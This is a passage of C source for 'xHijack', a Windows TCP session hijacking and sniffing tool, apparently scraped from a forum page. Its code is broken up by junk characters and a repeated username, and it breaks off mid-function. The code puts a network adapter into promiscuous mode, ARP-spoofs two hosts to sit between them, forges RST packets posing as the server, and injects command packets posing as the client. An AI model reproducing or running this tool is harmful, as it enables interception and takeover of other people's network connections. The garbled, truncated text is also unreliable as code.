'\0') { memcpy(AdapterList,temp1,(temp-temp1)*2); printf("%d - %S\n", i+1, AdapterList); 8 _& Z9 W0 s; n2 S temp1=temp+1; i++; } temp++; } # Q* U& e' w; Y- }' q //choose adapter . J9 i/ V) L( \9 D7 E/ B& ~7 [% H while((iAdapter <= 0) || (iAdapter > i)) { printf("\nPlease choose your Adapter:"); & Q3 | w9 ?. y/ ^ scanf("%1d", &iAdapter); 1 E7 b3 V Z1 j% H; H } printf("\n"); //---------------------------------------------// W+ t- m2 t# h9 q6 ^, k- R5 Q //这里调用iphlpapi来取得本地ip_addr和mac_addr sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_BUFFER_OVERFLOW) { printf("GetAdapterInfo error:%d\n", GetLastError()); 3 W3 G2 b3 {" K# a& M return 0; } pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); * z/ R X i. K0 M- n/ j; ~7 Y' ` if(!pAdapterInfo) 0 H9 Z6 q' y+ I { 6 F" }1 i: K: k. u5 h* b% @$ }: N printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); 0 b9 y, s, z- J _8 F return 0; } dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_SUCCESS) { printf("GetAdapterInfo error:%d\n", GetLastError()); + r& Y8 Q8 y& { return 0; : k: V% F" w! W: S, i/ c2 x4 ^ } 9 A9 u* u4 I7 @' b pTmp = pAdapterInfo; # u" l# n# F$ {' E5 _& M while(pTmp) 9 v3 H! M5 h. G) i7 Z { 8 j/ e( W' k9 y0 { //字符匹配

韩冰

if(strstr(szSelectAdapterName, pTmp->AdapterName)) { ' K3 j6 M: A3 ^! t; F, J/ n/ Y //found it,get own adapter mac address ; l: Q6 P0 n, x* A" ^3 @+ Q memcpy(g_szOwnMAC, pTmp->Address, 6); 2 g0 y. W2 Z1 A1 d) P( N //get ip address ; `, m) p8 N: I/ B. ^6 t' z0 | pIPAddr = &pTmp->IpAddressList; : \# i! m" B1 u while(pIPAddr) { # w3 r2 D( Y& u7 c( M g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); - W# E% B1 {5 a# w& V& G' D+ n) f9 y pIPAddr = pIPAddr->Next; if(g_TotalIP >= Max_Num_IPAddr) break; } 9 |; }4 R) V! o; ~) A break; } pTmp = pTmp->Next; 3 f" d/ \9 E9 @7 b) C } free(pAdapterInfo); //not found,return zero if( (!pTmp) || (!g_TotalIP) ) return 0; F. u' j# Z" s$ _' C0 e- j+ ` //---------------------------------------------// //open adapter * l0 h* x5 Q1 ?/ _! c lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) * K( n F5 B# l! Z D { ; f1 h- R* Q; h+ w9 `1 \5 u5 S iRetCode = GetLastError(); printf("Unable to open the driver, Error Code : %lx\n", iRetCode); return 0; / b' U2 D0 h3 ~1 q } // set the network adapter in promiscuous mod if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) " i# w1 [% ?/ a! _- y* H+ ]' n { printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); . R- k# I0 ~3 I; l6 ~; b: d# `, F if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) 8 R( f/ H' A% n* [0 t- { { ! d) U4 q+ H! ` printf("Unable to set ALL_LOCAL mode!\n"); + n* l7 E5 {& ?" Y9 g. b5 ]6 J g2 j4 [# E return 0; } " W+ f) U! `5 @3 z } ! E; v' r+ r3 o/ l* ~! I4 [3 z // set a 512K buffer in the driver 3 c1 v2 I) Y! e6 q/ f9 W" w if(PacketSetBuff(lpAdapter, 512000) == FALSE) { " j* b5 A4 [/ R S' ?# v) ? printf("Unable to set the kernel buffer!\n"); return 0; . @/ H: [% J* r } ; s& h( l' ?# w& n( m. L$ b | // set a 1 second read timeout : Q9 G; |+ l5 ?- W- [' X' R if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) printf("Warning: unable to set the read tiemout!\n"); if(PacketSetNumWrites(lpAdapter, 1) == FALSE) printf("warning: Unable to send more than one packet in a single write!\n"); 6 t: e! }8 H7 ^8 L$ l5 h //设置发送的packet 1 F9 V' L" p1 S2 y. O8 ^9 G; r1 T g_lpSendPacket = PacketAllocatePacket(); ) ~5 x7 y% {7 k2 g- z! ^ if(g_lpSendPacket == NULL) 9 J, ^5 H: Z+ }- A4 ` { printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 8 [! h" C1 Q8 j9 S' |9 O0 ~ return 0; ( o; P U4 O4 ` C( z. z } ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); $ X! ]# e6 T, T. C2 E2 N8 l return lpAdapter; } 9 d" T2 N$ N# p4 y& g) j //功能：帮助信息 void usage() / e# `7 D9 d, Z7 m3 N9 \6 |" L4 @7 c{ ( A& D4 C$ s, a printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" % x' \5 H2 o: @! {" V3 J. G( h' ^ "By eyas 2002/8/19\n" 6 g9 z/ m G! b2 Q( Z, j "http://www.ey4s.org\n" "Thanks to Refd0m and shotgun\n\n" "Usage: xHijack ServerSide ClientSide\n\n"); : x: r8 V6 W) B/ _" a0 _} 8 A0 j. U, t3 S, D' q, V! C// //功能：显示数据包的一些详细信息 , k" \ l. i1 u7 W// ! s% n+ \; |0 [, t! U6 L. FVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 6 Z, m3 f/ j. a2 M' R& t- V{ SOCKADDR_IN saDest, saSrc; unsigned char FlagMask; 0 Q* l+ P2 {* ^& a- X" n int i; saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; 2 R* f" s5 V8 z ?8 ]4 A4 Z5 F saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); 2 `4 r6 @# E6 _2 w2 n* s printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), : k, d4 F: a, R2 H! k$ | ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); //display TCP flag - W7 b# Y; T, S" A5 V6 W7 ` for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) ; _$ S, M* X3 F( c# ] { ) [3 L4 O$ ~) G `0 b if((pTCPPacket->tcphdr.th_flag) & FlagMask) 3 f9 O' j( v6 ^4 V4 d1 O/ l printf("%c", g_szTcpFlag); else printf("-"); 7 i6 X3 r' z& m- R3 J z7 ` } printf("\n"); ( ?$ y: I6 y: R, V //如有需要，可显示更多详细的信息 3 O; r( W' ?$ `0 L+ H, D if(bDetail) ' ]( ~( J0 g4 m4 z printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); } // //功能：处理收到的数据包(只分析本不属于自己的包)，然后根据用户输入，完成各种功能 // DWORD WINAPI AnalysePacketsThread(LPVOID lp) , R& r7 A0 A4 P4 n2 H* M{ ULONG ulBytesReceived; ' W5 z p; B7 Q$ J4 i, Q' g USHORT usDataLen; //USHORT usIPHeadLen, usTCPHeadLen; & D. m0 V) N/ ]2 r( U8 O; g& o char *buf; u_int off, i; - ? Y, ^* O. U4 O6 i/ j, A$ e5 K |0 M PTCPPACKET pTCPPacket; ) `: z) D% Y% x struct bpf_hdr *hdr; LPPACKET lpRecvPacket; 9 S& \1 ^5 Q2 W, T8 s char szPacketBuf[256000], *pStr; 5 o2 s9 W& A+ S% Q BOOL bDeleteNode, bAddNew; DWORD ident;//当前所处理的数据包，所属的连接的唯一标识 BOOL bClientToServer;//数据包是否从客户端发送到服务器端 ; p- a7 g/ x7 E- g. S //设置接收的packet lpRecvPacket = PacketAllocatePacket(); ) k" m& Z% ^) L3 b& m' }0 R if(lpRecvPacket == NULL) { printf("Error:failed to allocate the LPPACKET structure for recv.\n"); return 0; : y7 T6 F9 f% L1 Y; ~; l } ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); while(1) { // capture the packets " e1 E) t4 \2 K% [' n+ _5 C! W; u if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) { printf("Error: PacketReceivePacket failed.\n"); break; 5 T: s K! A) [3 l } q+ _) V$ r1 p) {( ~: F ulBytesReceived = lpRecvPacket->ulBytesReceived; 2 x' \) s1 s& A( F7 R) n+ { buf = lpRecvPacket->Buffer; off = 0; , W3 d0 V2 @0 Q% a- s4 `2 L while(off < ulBytesReceived) { hdr = (struct bpf_hdr *)(buf + off); off += hdr->bh_hdrlen; * p7 Q5 p1 ?" I+ \* A' [8 p pTCPPacket = (PTCPPACKET)(buf + off); off = Packet_WORDALIGN(off + hdr->bh_caplen); 8 |0 I" v' G: \; M- C: P: ~' S //不需要处理自己发出的包(转发或本机发送的) if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; ' O4 g2 x0 t! @ L/ b7 K$ J //检查是否IP包 / I2 W6 P' h+ M1 r2 M if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; : n- w, ]$ H9 Z% h //检查是否TCP包 . ]5 ?3 ]2 A, n# Z6 p( u if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; ; t- V# c' `, v //也不处理DestIP是自己的包 for(i=0; i

韩冰

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
, e" ~2 n4 Z  D5 C) v. n/ q            //reset action flag
            ResetActionAllFlag();
          }
9 |, K$ j- ]# `! L2 k          //start hijack
          else if(g_dwAction == ACTION_HIJACK)
          {
            //send rst packet to client
) I1 W9 E$ Y. \7 Z& L8 s  O* X            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
: _5 n3 n) g: a" H9 x            //send hijack packet to client
0 w! u6 Y! v# K- [3 F; t+ J( e            SendHiJackPacket(pTCPPacket);
/ ?. E6 o, }' b, J  K& h- ^            //reset action flag
            ResetActionAllFlag();
3 Y- U7 H( ?: T9 C+ [1 s          }
        }
: R7 M8 X: H3 H9 o& \. M4 h5 Z        //show the tcp data
4 F4 Z) ]  Y7 f3 S. ]+ Z5 O        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
3 v+ d( l/ J" R2 q% O  v& Y        {
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
          //暂不考虑IP、TCP头不是20字节的情况
          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
* z7 U0 U6 h* Q          pStr = (char *)pTCPPacket + 54;
          for(i=0; i        }
# J* ~% E. T5 J/ Q/ L/ ~* K      }
8 r! e0 s* G, ^9 B& m: ]      //debug output
- ^( j5 {3 W! a# H6 m4 E      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
    }//end of analyse packets while
$ Z& {/ S( S4 L% P! T0 T- t' G  }//end of recv packets while
  PacketFreePacket(lpRecvPacket);
* X, A4 ~: n6 N: P; a! E  return 0;
$ ~$ N1 t+ C! q}
1 `. S. |3 \7 z# r/ g+ }. B% g
) j5 |$ G/ b% ?% V) U% M
" `/ i, e- K5 d4 ]3 R; }3 f//
5 ~3 R, [# Q$ X! p  N2 T% Q: U//功能：操作记录所有连接信息的单向链表
. W6 Z- D# R; g//
! `5 G9 ?. g8 e5 S2 t0 TDWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
3 J3 E/ ]; s% `+ k; j4 w" I. s% V            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
$ q7 {- ]* U0 s* [, v( ~% h{
/ D6 E) @% a! \0 y. Z6 L9 B: I8 k  PCONNINFO  pNew, pTmp;
6 t  C  h* Y0 V" v0 I  J+ w$ W0 H9 x
0 J' b7 p( x8 v" Q* ]  pTmp = g_pConnHead;
  while(pTmp)
  {
    if(pTmp-&gt;bActive)
    {
      //found it
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
/ U3 V! a: s( }/ G& a        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
        (pTmp-&gt;uClientPort == uClientPort) )
      {
        if(bDelete)
! @0 G3 r* k5 ?$ [% ], x8 C: ~; v        {
          pTmp-&gt;bActive = FALSE;
5 ?  c; g4 [1 H* E# X8 |0 o          return 0;
5 S* H: A! j' K$ I        }
        else return pTmp-&gt;ident;
      }
    }
    pTmp = pTmp-&gt;Next;
  }
) l/ T, r% y. }  //not found, create new node
" r: r- a5 G6 H. ^7 ]  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
  {
    //search unactive note
    pTmp = g_pConnHead;
    while(pTmp)
/ O0 I& H* `; Z& s9 ]: `' I    {
( y+ _5 A. M6 n      if(!pTmp-&gt;bActive) break;
6 G1 L* c) `: Y6 @7 ^      pTmp = pTmp-&gt;Next;
    }
    //found a unactive node
    if(pTmp)
    {
$ n3 [8 b, K, a- M# n      pTmp-&gt;dwServerIP = dwServerIP;
; H) \6 T- a3 _0 H  v& t      pTmp-&gt;uServerPort = uServerPort;
* \. B7 O0 k5 U      pTmp-&gt;dwClientIP = dwClientIP;
      pTmp-&gt;uClientPort = uClientPort;
+ X. k& |& }$ I) h( h" K; [" m      pTmp-&gt;bActive = TRUE;
      return pTmp-&gt;ident;
    }
3 f( J* \2 |8 x/ m% e( d    //not found,create new node
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
    if(!pNew)
6 i& N( t. a& E  U5 o, S" `* t9 ~    {
  i$ B% I1 w9 D; J; E( _5 _      printf("malloc for link node error:%d\n", GetLastError());
% G) W/ X- O5 R      return 0;
; F2 y5 ?  l( G: l    }
    //fill the struct
. l3 q1 |0 s3 P/ q7 X* r5 Q+ R    pNew-&gt;bActive = TRUE;
; A2 \) I; K0 }& G; Y# b! }% L    pNew-&gt;dwServerIP = dwServerIP;
0 C; h. _5 F/ p% `1 F4 }. }    pNew-&gt;uServerPort = uServerPort;
    pNew-&gt;dwClientIP = dwClientIP;
    pNew-&gt;uClientPort = uClientPort;
2 R& b+ ^; K( C' v. k8 Q$ ]    pNew-&gt;ident = ++g_ident;
- t7 t9 `" n* _) _    pNew-&gt;Next = NULL;
) V6 i" u. }% k: q- p+ E, U- O    //add new node to link
0 f& y: x* O: s- n7 M7 n2 u9 k    if(!g_pConnHead)
      g_pConnHead = g_pConnLast = pNew;
! V& }$ x$ `  D( I5 i" L    else
    {
7 d2 K; G; P, |      g_pConnLast-&gt;Next = pNew;
2 o- @- ]* ?6 x2 c* i$ a      g_pConnLast = pNew;
    }
    return pNew-&gt;ident;
  }
  return 0;
, ^( ^9 o* c& x. o* @  M' i}
; _$ R& `" s, B5 q* E
, k/ I/ \! x) ]  ^//
6 @7 o# e: j! t( v//功能：判断一个数据包是不是只有ACK标志
3 {( n7 F1 K( g8 m" O& V2 s//
BOOL IsACKPacket(unsigned char flag)
{
7 w2 ^) P; c+ L1 r. g2 ]4 k  int  i, j=1;
  for(i=0 ; i&lt;4; i++)
5 t8 g+ a0 d6 q  {
$ E2 ?! e) p, G) |    if(flag &amp; j) return FALSE;
: E* l$ n( H) o) s4 O    j &lt;&lt;= 1;
* l6 @7 j3 T' U. f  }
" s3 }, x( ?% r3 t. a  if(!(flag &amp; 0x10)) return FALSE;//is ack?
  if(flag &amp; 0x20) return FALSE;
  return TRUE;
}
, r, G; ^  M! J5 S8 f' O  A
9 v9 C' O' R# L# c1 T//
9 X+ ^2 T3 X. f. e4 [0 M3 k//功能：伪装成Client给Server发送数据包
//
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
0 t" \. x% G7 @" c! i{
( H7 l" j3 J5 K4 L& z2 V
  char    szBuff[1520];
: u8 \/ O" p- j& C$ R  PSDHDR    psdhdr;
  PTCPPACKET  pHiJackPacket = NULL;
  BOOL    bRet = FALSE;
; _  F" ^$ o0 b1 B: w5 p
7 S: X+ `" D" C, Z% F  __try
  {
    //
    if(!g_pCurrCtrlConn) __leave;
    //allocate memory for hijack packet
) L/ m. A' N" C0 I# a: \    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
3 B8 u. p0 v$ j  Z% `, J; _3 N    if(!pHiJackPacket)
    {
      printf("malloc error:%d\n", GetLastError());
* `5 }# j2 Z: \. T      __leave;
, O& X, \4 i9 O( x5 Z$ F    }
4 e8 i" J1 A2 A  B# O    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
1 d$ \2 l( g! Y& \! j1 ~, C    //-------------- modify the packet ---------------//
    //modify ethernet head
, U) X" f2 ~. ]+ A) T    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
3 T4 v0 O5 e* [4 U" `2 v    //modify ip head
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
' I/ r- W; s! w    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
% K5 V2 m% G& Y5 t/ @) U    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
3 }4 ]1 ^# }( ^6 h1 _' ]    pHiJackPacket-&gt;iphdr.checksum = 0;
    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址，伪装成client
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址，接收hijack包的地址
, L6 J" w; o# x! v& x) ?    //modify tcp head
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
& |* H3 O) i' T% J: i7 Y3 t; e# {    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
. g! P' D3 r7 p, ~0 T    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
) [" D+ [/ s% b% Q0 G5 c    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
( J0 V8 P  {7 T9 V    pHiJackPacket-&gt;tcphdr.th_sum = 0;
+ u9 C3 J; @/ y7 C0 c- B    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
    //fill tcp psd head
8 o$ p3 n2 J; F  Q3 ~. o# {3 L    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
7 M- t/ I2 G% p; w    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
+ [' V7 N- P5 Q    psdhdr.mbz = 0;
    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
! n- K& u: Z! U5 u+ p    //calculate tcp checksum     
9 k8 j' C' \% X" e    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
3 X" `9 ?* P+ f$ o+ O3 ~6 M: Z    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
    //calculate IP checksum
! Y- F: R) w+ p9 C% _1 u  m- @1 \1 z    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
    //fill send buffer           
' ~+ |+ l+ z/ c  Y# J7 o) n    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
1 e9 R- r/ U7 o    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
  H8 [- P3 U4 Q, n) l    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
% v3 W5 @# v  S! m' p/ v# r8 Z    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
: F1 i( w8 v) u/ h& |    {
3 c9 a; o" _# M8 t      printf("Error sending the hijack packets!\n");
      __leave;
$ B9 }% R! ?7 P5 t4 f( I+ q    }
# s  @% ?% }" n    else printf("Send hijack packet ok!\n");
    bRet = TRUE;
. V5 v& H6 o9 `3 @+ y  }

韩冰

__finally
  {
    if(pHiJackPacket) free(pHiJackPacket);
  }
  return bRet;
( H6 r$ E4 l* p8 i% p}
- ?) a1 H4 T1 R5 I7 J- `& g
6 E7 L5 T3 ~. w2 F! w9 g4 z
, I) q7 D: l7 l+ _//
* Y: j9 g* D  f" m8 }0 J6 h//功能：伪装成Server给Client发送rst包
//
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
{
  char    szBuff[60];
  PSDHDR    psdhdr;
1 b+ ^, E/ c  w. G- Y  K; i  PTCPPACKET  pTcpPacket = NULL;
  BOOL    bRet = FALSE;

  __try
" F! B& A' u! q- k% ]  {
( ~; j) c; M  r4 q3 v2 q% V    //检查当前指向想控制的连接的信息的指针是否为空
    if(!g_pCurrCtrlConn) __leave;
" z% w: V& B9 p4 R" }- q    //allocate memory for rst packet
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
8 h' V" S* U# F" `2 B    if(!pTcpPacket)
    {
' s# I8 q/ {7 m) ]* T      printf("malloc error:%d\n", GetLastError());
. i4 D! E/ @1 x& ?' n! `3 F" U3 x      __leave;
! Y1 O" I& V: o7 N    }
7 r7 d" S9 P% f( R! [+ t, [    //fill ethernet head
7 e* P9 t; `  {    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
8 O1 w( Q" v1 \2 A9 W& X' E    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
# u2 g$ j8 U8 t: K+ m    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
    //fil ip head
* u2 q- h1 t! \: h: }3 y    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
. ~. L# o4 p" e    pTcpPacket-&gt;iphdr.tos = 0;
" J7 A* G1 A7 |    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
    pTcpPacket-&gt;iphdr.ident = 1;
    pTcpPacket-&gt;iphdr.frag_and_flags = 0;
: A/ P, T+ L, Y6 G1 T    pTcpPacket-&gt;iphdr.ttl = 128;
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
% r7 }  I1 o( ~! d+ [    pTcpPacket-&gt;iphdr.checksum = 0;
    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址，伪装成服务器的
0 z7 z/ y. v! G" T    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
0 ~# i$ q, J: H3 V7 |    //fill tcp head
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号，伪装成服务器的端口
4 q! p5 D9 e1 M4 U6 T" ~( e; |    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
% {! i* T! I' n5 T9 n: l    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
  k' {, M; ~* g' t! L! ^3 j. X# ^    pTcpPacket-&gt;tcphdr.th_win = 0;
! |2 ]9 L+ w: o% g$ z2 o6 l, [    pTcpPacket-&gt;tcphdr.th_urp = 0;
    pTcpPacket-&gt;tcphdr.th_sum = 0;
    //fill tcp psd head
    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
4 @& o/ k3 H  n& E+ @    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
    psdhdr.mbz = 0;
    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR));
    //calculate tcp checksum     
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
' v# {# {) ^& L    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
. E$ b0 l0 m1 `    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
, k. s- ]' ~6 \    //calculate IP checksum
( g; `5 N; w8 B' N8 p# K! b5 ?    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
3 C- o% S' F6 s5 C$ M6 u1 b, \    //fill send buffer
& b4 R0 n- ~4 C& y    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
" V. G# l$ A1 l5 |! {' p    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
" {& j. v2 v' [; a: K" |* z) \7 s0 r5 ~    {
: n; }0 t# W+ L& |$ w5 V2 w$ f      printf("Error sending the rst packets!\n");
8 V  l6 Z) W6 t& `( v  A      __leave;
/ }* Y( B9 M$ t; \& ~4 j    }
    else printf("Send RST packet ok!\n");
    bRet = TRUE;
  }
  __finally
  {
    if(pTcpPacket) free(pTcpPacket);
9 q$ O+ V2 ?, E  }
9 b0 s' h/ g$ K5 X9 h4 F  return bRet;
}

//
//功能：计算校验和
* y( f% K0 Z% b& h- K$ S# h. p' {//
3 b4 u1 x3 {' \2 i& e9 F0 o; ZUSHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
5 e$ L* o- b  }# W6 I while(size &gt;1) {
  |6 R0 a  E5 o8 e% T' r  cksum+=*buffer++;
  size -=sizeof(USHORT);
8 a4 S& a) U# B4 N1 G3 b. n3 j }
if(size ) {
  cksum += *(UCHAR*)buffer;
}
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
cksum += (cksum &gt;&gt;16);
return (USHORT)(~cksum);
}
; @8 W- z) s3 W# _1 C. [
//
) ~5 A8 b& X  o: P//功能:实施ARP欺骗
//1 告诉ServerSide,ClientSide的mac是ownmac
//2 告诉ClientSide,ServerSide的mac是ownmac
" q% ]# P) S: a: \$ Q3 y' f. n//
: y2 \) h9 Q( e% cDWORD WINAPI ArpSpoofThread(LPVOID lpType)
{
" q& }. _/ r3 v$ Z  int  iType = *(int *)lpType;
% |* w/ u* ^) z$ [, d) J+ y  ARPPACKET  ArpPacket;
8 `. k* O0 B- Z! Q; h8 Y  LPPACKET  lpArpPacket;
- u, X4 E- F2 Q  z4 D( `  char    szArpBuff[60];
: e' l  g5 o" S. F) Y
/ U7 f- z' T; Y% r4 N  switch(iType)
' u, a5 ?4 r3 \  {
1 V* P$ A1 q' V. Y/ C1 G    case 1:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
) b% c% f, T: ^      ArpPacket.arphdr.DestIP = g_ServerSideIP;
4 c& m5 m+ J- r' s/ O. x% ]" M      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
      break;
    case 2:
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
# W. a$ s$ r3 m" V6 z9 R      ArpPacket.arphdr.DestIP = g_ClientSideIP;
  k! f- W" e+ e5 }9 U: ^      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
0 u" j* [6 P& R+ j  w( ~2 }      break;
% |2 _4 Y/ P: C# ?    default:
5 s" M* e3 I5 u! K& _8 f      return 0;
  }
3 S% l% R8 _9 ^2 Z0 f* m2 t  //ethernet head
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
  //arp head
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
& |+ H! d; |7 e: \) v; X  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
2 B' E. i: p0 m4 y$ c5 j  ArpPacket.arphdr.HrdAddrlen = 6;
  ArpPacket.arphdr.ProAddrLen = 4;
1 t/ E6 I# e+ U* D( W, T; [6 {  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
- w$ `: ^) o; O5 u8 T+ G) I  ArpPacket.arphdr.ProType = htons(EPT_IP);
6 E) s. Y. _: j$ \  ArpPacket.arphdr.op = htons(2);//arp reply

  q# `. W/ a  k6 O) l# J2 G+ {  lpArpPacket = PacketAllocatePacket();
  if(lpArpPacket == NULL)
  {
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
